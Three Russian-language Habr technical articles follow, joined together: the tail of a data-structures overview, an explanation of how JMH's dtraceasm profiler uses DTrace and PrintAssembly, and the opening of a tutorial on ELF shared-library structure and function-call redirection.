Верхний (Top) — возвращает верхний элемент без удаления из стека.
*Для самостоятельного изучения:*
1. Оцените постфиксное выражение, используя стек.
2. Сортировка значений в стеке.
3. Проверьте сбалансированные скобки в выражении.
**Queues (Очереди)**
Подобно стеку, очередь — это еще одна линейная структура данных, в которой элементы хранятся последовательно. Единственное существенное различие между стеком и очередью состоит в том, что вместо использования метода LIFO в Queue реализован метод [FIFO, который является сокращением от First in First Out](https://en.wikipedia.org/wiki/FIFO).
Прекрасный реальный пример очереди: ряд людей, ожидающих у билетной кассы. Если приходит новый человек, он присоединяется к линии с конца, а не с начала — и человек, стоящий впереди, первым получит билет и, следовательно, покинет линию.
Вот изображение очереди, содержащей четыре элемента данных (1, 2, 3 и 4), где 1 находится вверху и будет удалено первым:
Основные операции с очередью:
Вочередить (Enqueue) — вставляет элемент в конец очереди.
Выочередить (Dequeue) — удаляет элемент из начала очереди.
Пустой? (IsEmpty) — возвращает истина (true), если очередь пуста.
Верхний (Top) — возвращает первый элемент очереди.
*Для самостоятельного изучения:*
1. Реализация стека с использованием очереди.
2. Обратные первые k элементы очереди.
3. Генерация двоичных чисел от 1 до n с использованием очереди.
**Связанный список (Linked List)**
Связанный список — это еще одна важная линейная структура данных, которая на первый взгляд может выглядеть аналогично массивам, но отличается распределением памяти, внутренней структурой и тем, как выполняются основные операции вставки и удаления.
Связанный список подобен цепочке узлов, где каждый узел содержит такую информацию, как данные, и указатель на последующий узел в цепочке. Есть указатель заголовка, который указывает на первый элемент связанного списка, и если список пуст, то он просто указывает на ноль или ничего.
Связанные списки используются для реализации файловых систем, хеш-таблиц и списков смежности.
Вот визуальное представление внутренней структуры связанного списка:
Ниже приведены типы связанных списков:
* Односвязный список (однонаправленный)
* Двусвязный список (двунаправленный)
Основные операции над связанным списком
ВставитьВКонец (InsertAtEnd) — вставляет элемент в конец связанного списка.
ВставитьВНачало (InsertAtHead) — вставляет элемент в начало связанного списка.
Удалить (Delete) — удаляет данный элемент из связанного списка.
УдалитьВНачале (DeleteAtHead) — удаляет первый элемент связанного списка.
Search (Поиск) — возвращает найденный элемент из связанного списка.
Пустой? (IsEmpty) — возвращает истина (true), если связанный список пуст.
*Для самостоятельного изучения:*
1. Перевернуть связанный список (Обратить, реверсировать, отобразить задом наперёд).
2. Определить цикл в связанном списке.
3. Вернуть N-й узел с конца в связанном списке.
4. Удалить дубликаты из связанного списка.
**Graphs (Графы)**
Графы — это набор узлов, которые связаны друг с другом в форме сети. Узлы также называются вершинами. Пара (x, y) называется ребром, что указывает на то, что вершина x связана с вершиной y. Ребро может содержать вес / стоимость, показывая, сколько затрат требуется для перехода от вершины x к y.
Типы графов:
* Undirected Graph
* Directed Graph
В языках программирования графы представлены двумя формами:
* [Смежная (соседняя) матрица (Adjacency Matrix)](https://algs4.cs.princeton.edu/41graph/AdjMatrixGraph.java.html)
* [Смежный (соседний) список Adjacency List](https://algs4.cs.princeton.edu/41graph/Graph.java.html)
Ниже приведен пример смежного списка Adjacency List (ненаправленный граф).
Известные примеры перемещения алгоритмы по графам:
* [Breadth First Search](https://en.wikipedia.org/wiki/Breadth-first_search)
* [Depth First Search](https://en.wikipedia.org/wiki/Depth-first_search)
*Для самостоятельного изучения:*
1. Реализация Breadth and Depth First поиска
2. Проверка если граф дерево или нет.
3. Подсчет количества ребер в графе.
4. Найти кратчайший путь между вершинами.
**Trees (Деревья)**
Дерево — это иерархическая структура данных, состоящая из вершин (узлов) и ребер, которые их соединяют. Деревья похожи на графы, но ключевой момент, который отличает дерево от графа, состоит в том, что цикл не может существовать в дереве. Дерево — это разорваный граф.
Деревья широко используются в искусственном интеллекте и сложных алгоритмах, чтобы обеспечить эффективный механизм хранения для алгоритмов решения проблемы.
Вот изображение простого дерева и основные термины, используемые в древовидной структуре данных:
Имеются типы деревьев:
* N-ое дерево
* Сбалансированное дерево (Balanced Tree)
* Бинарное дерево (Binary Tree)
* Бинарное поисковое дерево (Binary Search Tree)
* AVL дерево
* Красно-черное дерево (Red Black Tree)
* 2–3 дерево
Из вышеперечисленного Бинарное дерево и Бинарное поисковое дерево являются наиболее часто используемыми деревьями.
*Для самостоятельного изучения:*
1. Найти высоту бинарного дерева.
2. Найти k-е максимальное значение в двоичном поисковом дереве.
3. Найти узлы на расстоянии «k» от корня.
4. Найти предков данного узла в двоичном дереве.
Практические примеры:
1. Facebook: Каждый пользователь представляет собой вершину, и два человека являются друзьями, когда имеется ребро между двумя вершинами. Так же и рекомендации в друзья — расчитываются на основаниитеории графов.
2. Карты Google: Различные локации представлены вершинами и дороги представлены ребрами, теория графов используется для нахождения кратчайшего пути между двумя вершинами.
3. Транспортные сети: в них вершины это пересечения дорог и рёбра — это дорожные сегменты между их пересечениями.
4. Представление молекулярных структур где вершины это молекулы и рёбра — это связи между молекулами.
5. [Дискретные сигнальные процессы в графах.](https://arxiv.org/pdf/1210.4752.pdf) ([и тут еще хорошая статья](https://arxiv.org/pdf/1712.00468.pdf) ну и заодно вот [эта](http://feihu.eng.ua.edu/bigdata/week4_2.pdf))
6. Эмпирические наблюдения показывают, что большинство генов регулируются небольшим количеством других генов, обычно менее десяти. Следовательно, генетическая сеть может рассматриваться как разреженный граф, то есть граф, в котором узел связан с несколькими другими узлами. Если ориентированные (ациклические) графы или неориентированные графы насыщены вероятностями, то результатом являются вероятностно ориентированные графические модели и вероятностные неориентированные графические модели соответственно.
7. [Теория расширение кластера Майера](https://en.wikipedia.org/wiki/Cluster_expansion) функции [летучести](https://en.wikipedia.org/wiki/Fugacity) газа (Z) в термодинамике требует вычисления двух, трех, четырёх условий и так далее. Существует систематический способ сделать это комбинаторно с диаграммами, и это помогает узнать связность таких диаграмм. Знание теории графов может быть полезным, когда вы хотите суммировать подмножество этих диаграмм.
8. Раскраска карты: знаменитая теорема о четырех цветах утверждает, что всегда можно правильно раскрасить регионы карты так, чтобы никаким двум смежным регионам не был назначен один и тот же цвет, используя не более четырех разных цветов. В этой модели регионы с цветами — это узлы, а смежность — ребра графа.
9. Задача с тремя коттеджами — это хорошо известная математическая головоломка. Ее можно сформулировать так: Три коттеджа на плоскости (или сфере), каждый из которых должен быть подключен к газовым, водопроводным и электрическим компаниям. Задача решается при помощи [графа на плоскости](https://en.wikipedia.org/wiki/Planar_graph).
10. Поиск центра графа: Для каждой вершины найдите длину кратчайшего пути к самой дальней вершине. Центром графа является вершина, для которой это значение минимально. Это важно для архитектурного планирования населенных пунктов, в которых больница, пожарная служба или отделение полиции должны быть расположены в так, чтобы самая дальняя точка была как можно ближе.
Для любителей С#, как я, линк с примерами кода построения графов на C# [тут](https://docs.microsoft.com/en-us/previous-versions/ms379574(v=vs.80)?redirectedfrom=MSDN#datastructures20_5_topic3). Для самых продвинутых библиотека с реализацией графов на C++ [тут](https://www.boost.org/doc/libs/1_72_0/libs/graph/doc/index.html). Для фанатов AI и Skynet топать [сюда](https://www.tensorflow.org/tensorboard/graphs).
**Очередности (Trie)**
Очередности, также известные как деревья с префиксами (Prefix Trees), представляют собой древовидную структуру данных, которая оказывается достаточно эффективной для решения проблем, связанных со строками. Они обеспечивают быстрый поиск и, в основном, используются для поиска слов в словаре, автоматического предложения в поисковой системе и даже для IP-маршрутизации.
Вот иллюстрация того, как три слова «top», «thus», и «their» хранятся в Очередности:
Слова хранятся сверху вниз, где зеленые узлы “p”, “s” и “r” указывают на конец “top”, “thus”, и “their” соответственно.
*Для самостоятельного изучения:*
1. Подсчитать общее количество слов в Очередности.
2. Распечатать все слова, хранящиеся в Очередности.
3. Сортировка элементов массива с использованием Очередности.
4. Формируйте слова из словаря, используя Очередности.
5. Создайте словарь T9.
Практические примеры использования:
1. Выбор из словаря или завершение при наборе слова.
2. Поиск в контактах в телефоне или телефонном словаре.
**Hash Table (Хеш-таблица)**
Хеширование — это процесс, используемый для уникальной идентификации объектов и сохранения каждого объекта по некоторому предварительно рассчитанному уникальному индексу, называемому его «ключом». Таким образом, объект хранится в форме пары «ключ-значение», а коллекция таких элементов называется «словарь». Каждый объект может быть найден с помощью этого ключа.
Существуют разные структуры данных, основанные на хешировании, но наиболее часто используемой структурой данных является хеш-таблица. Хэш-таблица используется, когда вам нужно получить доступ к элементам с помощью ключа, и вы можете определить полезное значение ключа.
Хеш-таблицы обычно реализуются с использованием массивов.
Производительность хеширования структуры данных зависит от этих трех факторов:
* Хэш-функция
* Размер хеш-таблицы
* Метод обработки столкновений
Вот иллюстрация того, как хэш отображается в массиве. Индекс этого массива вычисляется с помощью хэш-функции.
*Для самостоятельного изучения:*
1. Найти симметричные пары в массиве.
2. Проследить полный путь путешествия.
3. Найти, если массив является подмножеством другого массива.
4. Проверьте, являются ли данные массивы непересекающимися.
Ниже приведен пример кода использования хэш-таблицы в .Net
```
static void Main(string[] args)
{
Hashtable ht = new Hashtable
{
{ "001", "Zara Ali" },
{ "002", "Abida Rehman" },
{ "003", "Joe Holzner" },
{ "004", "Mausam Benazir Nur" },
{ "005", "M. Amlan" },
{ "006", "M. Arif" },
{ "007", "Ritesh Saikia" }
};
if (ht.ContainsValue("Nuha Ali"))
{
Console.WriteLine("Эта персона уже в списке!");
}
else
{
ht.Add("008", "Nuha Ali");
}
// Получить коллекцию ключей.
ICollection key = ht.Keys;
foreach (string k in key)
{
Console.WriteLine(k + ": " + ht[k]);
}
Console.ReadKey();
}
```
Практические примеры:
1. Игра «Жизнь». В ней хэш — это набор координат каждой живой клетки.
2. Примитивный вариант поисковой системы Google мог бы картировать все существующие слова в набор URL где они встречаются. В этом случае, хэштаблицы используются дважды: в первый раз для картирования слов в наборы URLs, и, во второй раз, для сохранения каждого набора URLs.
3. При имплементации структуры/алгоритма многонаправленного дерева (multiway tree) хэштаблицы могут использоваться для быстрого доступа к любому дочернему элементу внутреннего узла.
4. При написании программы для игры в шахматы, очень важно отслеживать позиции оцененные ранее, так что можно было бы вернуться, когда понадобится к ним снова при необходимости.
5. Любой язык программирования нуждается в картировании имени переменной ее адресу в памяти. Фактически, в скриптовых языках как Javascript и Perl, поля могут быть добавлены в объекту динамически, это означает, что объекты сами по себе как хэш-карты. | https://habr.com/ru/post/489494/ | null | ru | null |
# Как устроен dtraceasm в JMH
 В [последней](http://mail.openjdk.java.net/pipermail/jmh-dev/2018-January/002723.html) версии Java Microbenchmark Harness (JMH) появился новый профайлер — `dtraceasm`, ~~долгожданный~~ порт `perfasm` на Mac OS X, который умеет показывать ассемблерный профиль Java-бенчмарка.
Блиц-опрос показал, что не всем понятно, как в принципе возможно, получив на входе Java-метод, на выходе показать ассемблерный листинг скомпилированного метода с самыми горячими инструкциями, их распределением и небольшим профилем вида "А еще 5% времени виртуальная машина провела в методе `Symbol::as_C_string(char*, int)`".
В процессе портирования `perfasm` выяснилось, что на самом деле™ все не очень сложно и появилось желание рассказать, как такой профайлер устроен.
Для понимания статьи крайне желательно ознакомиться с JMH, например, посмотрев на [примеры](http://hg.openjdk.java.net/code-tools/jmh/file/tip/jmh-samples/src/main/java/org/openjdk/jmh/samples/) его использования.
Введение
--------
 Что должен делать такой профайлер?
Для Java-бенчмарка он должен точно показать, **где именно** тратится большая часть процессорного времени на уровне сгенерированного кода.
При этом сгенерированного кода обычно очень много, поэтому он должен уметь делать это довольно точечно, чтобы не приходилось с огнем выискивать нужную нам информацию в выводе профайлера.
Например, для метода, который считает логарифм:
```
@Benchmark
public double log(double x) {
return Math.log(x);
}
```
`dtraceasm` или `perfasm` покажут профиль как на скриншоте слева, обвинив во всем инструкцию `fstpl`. Из-за сильной конвейеризации современных процессоров такой профиль может ошибаться, и часто имеет смысл смотреть не только на инструкцию, которая считается горячей, но и на предыдущую. Здесь это [`fyl2x`](https://c9x.me/x86/html/file_module_x86_id_130.html), которая и считает логарифм.
Фактически такой профайлер очень похож на [`perf annotate`](https://perf.wiki.kernel.org/index.php/Tutorial#Source_level_analysis_with_perf_annotate), но умеет работать с JIT-скомпилированным Java-кодом.
### Зачем?
А зачем вообще `*asm`-профайлер может понадобиться, если вы не пишете свой JIT-компилятор? Не в последнюю очередь, конечно же, из любопытства, потому что он помогает очень быстро отвечать на следующие вопросы:
* А во что вообще скомпилировался мой метод? (конечно, можно пойти в вывод `PrintAssembly` и найти там нужное место или воспользоваться [JITWatch](https://github.com/AdoptOpenJDK/jitwatch), но это обычно менее удобно)
* Какие оптимизации JIT-компилятор может или не может сделать, можно ли его обхитрить или запутать?
* Как изменится сгенерированный код, если поменять сборщик мусора?
* Насколько собственное восприятие реальности ("в этом методе тормозить точно будет `Math.sqrt`") отличается от суровой действительности
* А почему код, написанный одним способом, работает быстрее, чем такой же код, но написанный немного по-другому?
Кроме любопытства на те же самые вопросы полезно уметь отвечать, если вы вдруг решили оптимизировать какое-нибудь небольшое место, например вашу потокобезопасную [очередь](http://psy-lob-saw.blogspot.ru/2018/01/what-difference-jvm-makes.html) или [узкоспециализированный класс](https://shipilev.net/blog/2015/faster-atomic-fu/).
Ну а если и пользоваться инструментом, то полезно хотя бы примерно понимать, как он внутри устроен, чтобы не воспринимать его как какую-то магию и иметь представление о его возможностях и ограничениях.
PrintAssembly
-------------
 Чтобы построить профиль по сгенерированному коду, нужно сначала этот сгенерированный код откуда-нибудь достать ~~а у нас денег нет~~. К счастью, все уже придумано за нас и виртуальная машина (здесь и далее я подразумеваю только hotspot) умеет печатать в stdout весь скомпилированный код, необходимо лишь включить нужный флаг (`-XX:+PrintAssembly`) и положить в `$JAVA_HOME` специальный дизассемблер. В интернете достаточно [инструкций](http://jcdav.is/2015/08/30/reading-assembly-from-hotspot/), как это можно сделать, обычно самому ничего собирать не нужно и достаточно лишь скачать собранный дизассемблер под вашу платформу.
PrintAssembly штука полезная, но не самая удобная. Его вывод имеет заранее известный формат, он даже аннотирован комментариями к какой байткод-инструкции относится текущая строка, какой метод сейчас напечатан или в каком регистре лежит какой аргумент, но измеряется он мегабайтами, и в нем будут все версии скомпилированного метода (C1-компилятор, C2-компилятор, версия после деоптимизации, GOTO 1), поэтому найти в нем желаемое обычно крайне затруднительно.
Профайлер в этом огромном выводе должен показать, *куда именно* нам нужно смотреть, чтобы увидеть самую горячую часть бенчмарка. А для написания такого профайлера нас в этом выводе интересует информация к какому методу инструкции относятся, какой у них адрес в памяти и, опционально, комментарии от дизассемблера.
DTrace
------
[DTrace](http://dtrace.org/blogs/about/) — фреймворк для динамической трассировки, поддерживаемый в Solaris, FreeBSD, Mac OS X и, частично, в Linux. Состоит он из модуля ядра, в котором реализован основной функционал и клиентских программ на специальном языке D (не перепутайте с [другим](https://dlang.org/) языком D). Клиентская программа декларирует, какое событие ей интересно, а модуль ядра компилирует программу в специальный байткод, проводит какую-то подготовительную работу и начинает эту программу при нужных событиях исполнять. При этом язык D безопасен и не позволяет сильно развернуться, например, уйти в бесконечный цикл или покрашить приложение, поэтому программы на нем можно исполнять прямо в ядре. Сам фреймворк очень мощный и позволяет делать много очень интересных и нетривиальных вещей, которые остаются за рамками этой статьи, я рассмотрю лишь функционал, необходимый для `dtraceasm`.
`dtraceasm` использует провайдер событий [`profile-n`](http://dtrace.org/guide/chp-profile.html), который не вешается ни на какое специальное событие, а просто вызывает пользовательскую программу через фиксированные интервалы времени.
Механизм используется простой, ядро регистрирует таймер с заданной частотой и по нему начинает прерывать процесс, который сейчас исполняется на CPU, а в обработчике вызывает наш DTrace-скрипт.
Сам скрипт выглядит следующим образом:
```
profile-1001 /arg1/ { printf("%d 0x%lx %d", pid, arg1, timestamp); ufunc(arg1)}
```
Читать его можно так: "1001 раз в секунду напечатай pid текущего исполняемого процесса, его PC, текущее время и имя исполняемого метода (вместе с именем библиотеки), если процесс сейчас исполнялся в userspace".
PC ([program counter](https://en.wikipedia.org/wiki/Program_counter)) — это специальный регистр, содержащий адрес инструкции, которая сейчас исполняется. Но откуда берется имя метода?
Так как ядро знает всё о загруженных библиотеках, исполняемых файлах и их символах (методы являются символами), и адреса, по которым они загружены, то оно может с помощью этого знания построить индекс "адрес инструкции -> библиотека -> конкретный метод". То есть, зная значение PC, можно узнать и откуда эта инструкция взялась.
### Пример
В библиотеке `lib.so` метод `foo()` начинается по смещению `1024`, следующий метод `bar()` по смещению `2048`, а сама библиотека в процесс загружена по адресу `1048576`. Если у PC текущее значение лежит в интервале `[1048576 + 1024, 1048576 + 2048]`, то сейчас исполняется метод `foo()` из `lib.so`.
Но если код был загружен динамически (собственно, чем и занимаются JIT-компиляторы) и информации о символах нет, то ядро название метода не найдет.
Просто добавь воды
------------------
Как теперь получить аннотированный ассемблер бенчмарка?
Бенчмарк запускается в отдельной JVM с флагом `PrintAssembly` и сразу после его старта запускается DTrace-скрипт, который свой результат записывает в файл.
Имея на руках эти данные остается только проделать следующие шаги:
1. Выхлоп DTrace фильтруется по pid и времени замеряемых итераций бенчмарка
2. Строки без имен символов объединяются с адресами инструкций из вывода PrintAssembly, у них появляется строковое представление вида `inc %r10d` и опциональный комментарий от дизассемблера
3. Результат агрегируется в профиль, в котором одинаковые строки схлопываются и для них накручивается счетчик их частоты
4. С помощью какой-нибудь эвристики в профиле находится непрерывный регион "горячих" инструкций. Например, если инструкции в регионе в сумме занимают 10% от всего профиля и добавление соседних инструкций добавляет незначительное число к весу региона, то можно считать, что на него нам и интересно смотреть
5. Нативные методы попадают в отдельный профиль, "горячие методы", также отсортированный по частоте
6. Результат работы красиво форматируется и отправляется пользователю в консоль
При этом проблемы с тем, что в выводе PrintAssembly есть код, скомпилированный как C1-компилятором, так и C2, уходят сами, потому что в горячий профиль после warmup-итераций попадет только одна версия скомпилированного кода (если у вас в steady state бенчмарка не происходят постоянные перекомпиляции, плюс `*asm` профайлеры фильтруют события от warmup-итераций), а нативные методы (внутренности самой JVM, нативные вызовы etc.) попадут в топ горячих методов.
**NB:** с точки зрения портирования на Mac OS X нужно было ["всего лишь"](http://hg.openjdk.java.net/code-tools/jmh/rev/ae08c0b9db44) сделать часть с сэмлированием PC с помощью DTrace, вся остальная инфраструктура для обработки результатов в JMH существовала со времен `perfasm` и ничего нового автор статьи (я) не сделал.
Заключение
----------
С помощью комбинации простых инструментов получается довольно мощный профайлер, который для неподготовленного разработчика может выглядеть как черный ящик, и теперь вы знаете, как он работает на самом деле и что никакой магии или rocket science в нем нет (и можете легко понять, как устроен, например, `perfasm`).
Отдельное спасибо [Алексею Шипилёву](https://twitter.com/shipilev) за то, что вычитал в статье все неточности и убедился, что я несу в массы знание, а не чушь :) | https://habr.com/ru/post/347124/ | null | ru | null |
# Перенаправление функций в разделяемых ELF-библиотеках
Все мы пользуемся динамически-компонуемыми билиотеками. Их возможности поистине великолепны. Во-первых, такая библиотека загружается в физическое адресное пространство только один раз для всех процессов. Во-вторых, можно расширять функционал своей программы, подгружая дополнительную библиотеку, которая и будет этот функционал обеспечивать. И все это без перезапуска самой программы. А еще решается проблема обновлений. Для динамически компонуемой библиотеки можно определить стандартный интерфейс и влиять на функционал и качество своей основной программы, просто меняя версию библиотеки. Такие методы повторного использования кода даже получили название «архитектура plug-in’ов». Но топик не об этом.
Кстати, нетерпеливые могут все [скачать](http://apriorit.com/downloads/elf_hook.zip) и попробовать прямо сейчас.
Конечно, редко какая динамически компонуемая библиотека в своей реализации опирается исключительно на себя, то есть вычислительные возможности процессора и память. Библиотеки используют библиотеки. Или, хотя бы, стандартные библиотеки. Как, например, программы на С\С++ используют стандартные библиотеки С\С++. Последнии, кстати, для удобства тоже организуются в динамически компонуемом виде (libc.so и libstdc++.so). Сами они хранятся в файлах особого формата. Мое исследование проводилось для ОС Linux, в которой основным форматом динамически компонуемых библиотек является ELF (Executable and Linkable Format).
Некоторое время назад я столкнулся с необходимостью перехватывать вызовы функций из одной библиотеки в другую. Просто для того, чтобы обрабатывать их особым образом. Это называется перенаправлением вызова.
#### Поподробней о перенаправлении
Для начала сформулируем задачу на конкретном примере. Допустим, у нас есть программа с названием «test» на языке С (файл test.c) и две разделяемые библиотеки (файлы libtest1.c и libtest2.c), с неизменным содержимым, откомпилированные заранее. Эти библиотеки предоставляют по одной функции: libtest1() и libtest2() соответственно. В своей реализации каждая из них пользуется функцией puts() из стандартной библиотеки языка С.
Задача состоит в следующем:
1. Нужно заменить вызов функции puts() для обеих библиотек на вызов функции redirected\_puts(), реализованной в главной программе (файл test.c), которая, в свою очередь, может пользоваться оригинальной puts();
2. Отменить произведенные изменения, то есть сделать так, чтобы повторный вызов libtest1() и libtest2() приводил к вызову оригинальной puts().
При этом менять код или перекомпилировать сами библиотеки не разрешается, только главную программу.
#### Зачем это нужно?
Этот пример иллюстрирует две очень интересные особенности подобного перенаправления:
1. Оно осуществляется исключительно для конкретной динамически компонуемом библиотеки, а не для всего процесса, как при использовании переменной окружения LD\_PRELOAD динамического загрузчика, что позволяет остальным модулям безболезненно пользоваться оригиналом функции;
2. Оно происходит во время работы программы и не требует ее перезапуска.
Где это можно применить? Ну, например, в своей программе с кучей plug-in’ов вы можете перехватывать их обращения к ресурсам системы или каким-либо другим библиотекам, не влияя на другие plug-in’ы и само приложение. Или даже делать все то же самое из своего собственного plug-in’а к некоторому приложению.
Легального способа решить эту задачу не существует. Единственный вариант – разобраться с ELF и самому производить необходимые изменения в памяти.
**Поехали!**
#### Кратко об ELF
Лучший способ понять ELF – это набраться терпения и пару раз внимательно прочитать его спецификацию, затем написать простую программу, откомпилировать ее и детально исследовать с помощью шестнадцатеричного редактора, сравнивая увиденное со спецификацией. Такой метод исследования сразу натолкнет на мысль написать какой-нибудь простой парсер для ELF, так как появится много рутинной работы. Но, не стоит спешить. Таких утилит создано уже несколько. Для исследования возьмем файлы из предыдущего раздела:
##### File test.c
```
#include
#include
#define LIBTEST1\_PATH "libtest1.so" //position dependent code (for 32 bit only)
#define LIBTEST2\_PATH "libtest2.so" //position independent code
void libtest1(); //from libtest1.so
void libtest2(); //from libtest2.so
int main()
{
void \*handle1 = dlopen(LIBTEST1\_PATH, RTLD\_LAZY);
void \*handle2 = dlopen(LIBTEST2\_PATH, RTLD\_LAZY);
if (NULL == handle1 || NULL == handle2)
fprintf(stderr, "Failed to open \"%s\" or \"%s\"!\n", LIBTEST1\_PATH, LIBTEST2\_PATH);
libtest1(); //calls puts() from libc.so twice
libtest2(); //calls puts() from libc.so twice
puts("-----------------------------");
dlclose(handle1);
dlclose(handle2);
return 0;
}
```
##### File libtest1.c
```
int puts(char const *);
void libtest1()
{
puts("libtest1: 1st call to the original puts()");
puts("libtest1: 2nd call to the original puts()");
}
```
##### File libtest2.c
```
int puts(char const *);
void libtest2()
{
puts("libtest2: 1st call to the original puts()");
puts("libtest2: 2nd call to the original puts()");
}
```
#### Из каких частей состоит ELF?
Чтобы ответить на этот вопрос, необходимо заглянуть внутрь такого файла. Для этого существует такие утилиты:
* readelf – очень мощный инструмент для просмотра содержимого секций ELF-файла
* objdump – очень похож на предыдущий, умеет дизассемблировать секции
* gdb – незаменим для отладки под Linux, особенно для просмотра мест, подлежащих переразмещению
**Переразмещение (relocation)** – это специальный термин для того места в ELF-файле, которое ссылается на символ из другого модуля. Непосредственной модификацией таких мест занимается статический (ld) либо динамический (ld-linux.so.2) компоновщик\загрузчик.
Любой ELF файл начинается со специального заголовка. Его структуру, как и описание многих других элементов ELF, можно найти в файле /usr/include/linux/elf.h. У заголовка есть специальное поле, в котором записано смещение от начала файла таблицы заголовков секций. Каждый элемент этой таблицы описывает некоторую секцию в ELF. Секция – это наименьший неделимый структурный элемент в ELF файле. При загрузке в память, секции объединяются в сегменты. Сегменты – это наименьшие неделимые части ELF файла, которые могут быть отображены в память загрузчиком (ld-linux.so.2). Сегменты описывает таблица сегментов, смещение которой так же есть в заголовке ELF файла.
Наиболее важные из них:
* .text – содержит код модуля
* .data – инициализированные переменные
* .bss – не инициализированные переменные
* .symtab – символы модуля: функции и статические переменные
* .strtab – имена для символов модуля
* .rel.text – переразмещения для функций (для статически компонуемых модулей)
* .rel.data – переразмещения для статических переменных (для статически компонуемых модулей)
* .rel.plt – список элементов в PLT (Procedure Linkage Table), подлежащих переразмещению при динамической компоновке (используется PLT)
* .rel.dyn – переразмещения для динамически компонуемых функций (если PLT не используется)
* .got – Global Offset Table, содержит информацию о смещениях переразмещаемых объектов
* .debug – отладочная информация
Для компиляции указанных выше файлов выполним такие команды:
```
gcc -g3 -m32 -shared -o libtest1.so libtest1.c
gcc -g3 -m32 -fPIC -shared -o libtest2.so libtest2.c
gcc -g3 -m32 -L$PWD -o test test.c -ltest1 -ltest2 –ldl
```
Первая команда создает динамически компонуемую библиотеку libtest1.so. Вторая – libtest2.so. Обратите внимание на ключ –fPIC. Он заставляет компилятор генерировать так называемый Position Independent Code. Подробности в следующем разделе. Третья команда создает исполняемый модуль c именем test путем компиляции файла test.c и компоновки его с уже созданными библиотеками libtest1.so и libtest2.so. Последние находятся в текущем каталоге, что отражено использованием ключа –L$PWD. Компоновка с libdl.so необходима для использования функицй dlopen() и dlclose().
Для запуска программы необходимо выполнить следующие команды:
```
export LD_LIBRARY_PATH=$PWD:$LD_LIBRARY_PATH
./test
```
То есть, добавить динамическому компоновщику\загрузчику путь к текущему каталогу как путь для поиска библиотек. Вывод программы получим такой:
`libtest1: 1st call to the original puts()
libtest1: 2nd call to the original puts()
libtest2: 1st call to the original puts()
libtest2: 2nd call to the original puts()
-----------------------------`
Теперь посмотрим на секции модуля test. Для этого запустим readelf с ключом –a. Ниже преведены наиболее интересные из них:
`ELF Header:
Magic: 7f 45 4c 46 01 01 01 00 00 00 00 00 00 00 00 00
Class: ELF32
Data: 2's complement, little endian
Version: 1 (current)
OS/ABI: UNIX - System V
ABI Version: 0
Type: EXEC (Executable file)
Machine: Intel 80386
Version: 0x1
Entry point address: 0x8048580
Start of program headers: 52 (bytes into file)
Start of section headers: 21256 (bytes into file)
Flags: 0x0
Size of this header: 52 (bytes)
Size of program headers: 32 (bytes)
Number of program headers: 8
Size of section headers: 40 (bytes)
Number of section headers: 39
Section header string table index: 36`
Стандартный заголовок исполняемого модуля. Магическая последовательность в первых 16 байтах. Обозначен тип модуля (в данном случае – исполняемый, а еще бывает объектный (.o) и разделяемый (.so)), архитектура (i386), рекомендуемая точка входа, смещения к заголовкам сегментов и секций и их размеры. В самом конце – смещение в таблице строк для названий секций.
`Section Headers:
[Nr] Name Type Addr Off Size ES Flg Lk Inf Al
[ 0] NULL 00000000 000000 000000 00 0 0 0
[ 1] .interp PROGBITS 08048134 000134 000013 00 A 0 0 1
...
[ 5] .dynsym DYNSYM 08048200 000200 000110 10 A 6 1 4
[ 6] .dynstr STRTAB 08048310 000310 0000df 00 A 0 0 1
...
[ 9] .rel.dyn REL 08048464 000464 000010 08 A 5 0 4
[10] .rel.plt REL 08048474 000474 000040 08 A 5 12 4
[11] .init PROGBITS 080484b4 0004b4 000030 00 AX 0 0 4
[12] .plt PROGBITS 080484e4 0004e4 000090 04 AX 0 0 4
[13] .text PROGBITS 08048580 000580 0001fc 00 AX 0 0 16
[14] .fini PROGBITS 0804877c 00077c 00001c 00 AX 0 0 4
[15] .rodata PROGBITS 08048798 000798 00005c 00 A 0 0 4
...
[20] .dynamic DYNAMIC 08049f08 000f08 0000e8 08 WA 6 0 4
[21] .got PROGBITS 08049ff0 000ff0 000004 04 WA 0 0 4
[22] .got.plt PROGBITS 08049ff4 000ff4 00002c 04 WA 0 0 4
[23] .data PROGBITS 0804a020 001020 000008 00 WA 0 0 4
[24] .bss NOBITS 0804a028 001028 00000c 00 WA 0 0 4
...
[27] .debug_pubnames PROGBITS 00000000 0011b8 000040 00 0 0 1
[28] .debug_info PROGBITS 00000000 0011f8 0004d9 00 0 0 1
[29] .debug_abbrev PROGBITS 00000000 0016d1 000156 00 0 0 1
[30] .debug_line PROGBITS 00000000 001827 000309 00 0 0 1
[31] .debug_frame PROGBITS 00000000 001b30 00003c 00 0 0 4
[32] .debug_str PROGBITS 00000000 001b6c 00024e 01 MS 0 0 1
...
[36] .shstrtab STRTAB 00000000 0051a8 000160 00 0 0 1
[37] .symtab SYMTAB 00000000 005920 000530 10 38 57 4
[38] .strtab STRTAB 00000000 005e50 000268 00 0 0 1
Key to Flags:
W (write), A (alloc), X (execute), M (merge), S (strings)
I (info), L (link order), G (group), x (unknown)
O (extra OS processing required) o (OS specific), p (processor specific)`
Здесь можно увидеть перечень всех секций подопытного ELF файла, их тип и режим загрузки в память (R, W, X и A).
`Program Headers:
Type Offset VirtAddr PhysAddr FileSiz MemSiz Flg Align
PHDR 0x000034 0x08048034 0x08048034 0x00100 0x00100 R E 0x4
INTERP 0x000134 0x08048134 0x08048134 0x00013 0x00013 R 0x1
[Requesting program interpreter: /lib/ld-linux.so.2]
LOAD 0x000000 0x08048000 0x08048000 0x007f8 0x007f8 R E 0x1000
LOAD 0x000ef4 0x08049ef4 0x08049ef4 0x00134 0x00140 RW 0x1000
DYNAMIC 0x000f08 0x08049f08 0x08049f08 0x000e8 0x000e8 RW 0x4
NOTE 0x000148 0x08048148 0x08048148 0x00020 0x00020 R 0x4
GNU_STACK 0x000000 0x00000000 0x00000000 0x00000 0x00000 RW 0x4
GNU_RELRO 0x000ef4 0x08049ef4 0x08049ef4 0x0010c 0x0010c R 0x1`
Это список сегментов – своеобразных контейнеров для секций в памяти. Также указан путь к специальному модулю – динамическому компоновщику\загрузчику. Именно ему предстоит расположить содержимое этого ELF файла в памяти.
`Section to Segment mapping:
Segment Sections...
00
01 .interp
02 .interp .note.ABI-tag .hash .gnu.hash .dynsym .dynstr .gnu.version .gnu.version_r .rel.dyn .rel.plt .init .plt .text .fini .rodata .eh_frame
03 .ctors .dtors .jcr .dynamic .got .got.plt .data .bss
04 .dynamic
05 .note.ABI-tag
06
07 .ctors .dtors .jcr .dynamic .got`
А вот как произойдет распределение секций по сегментам во время загрузки.
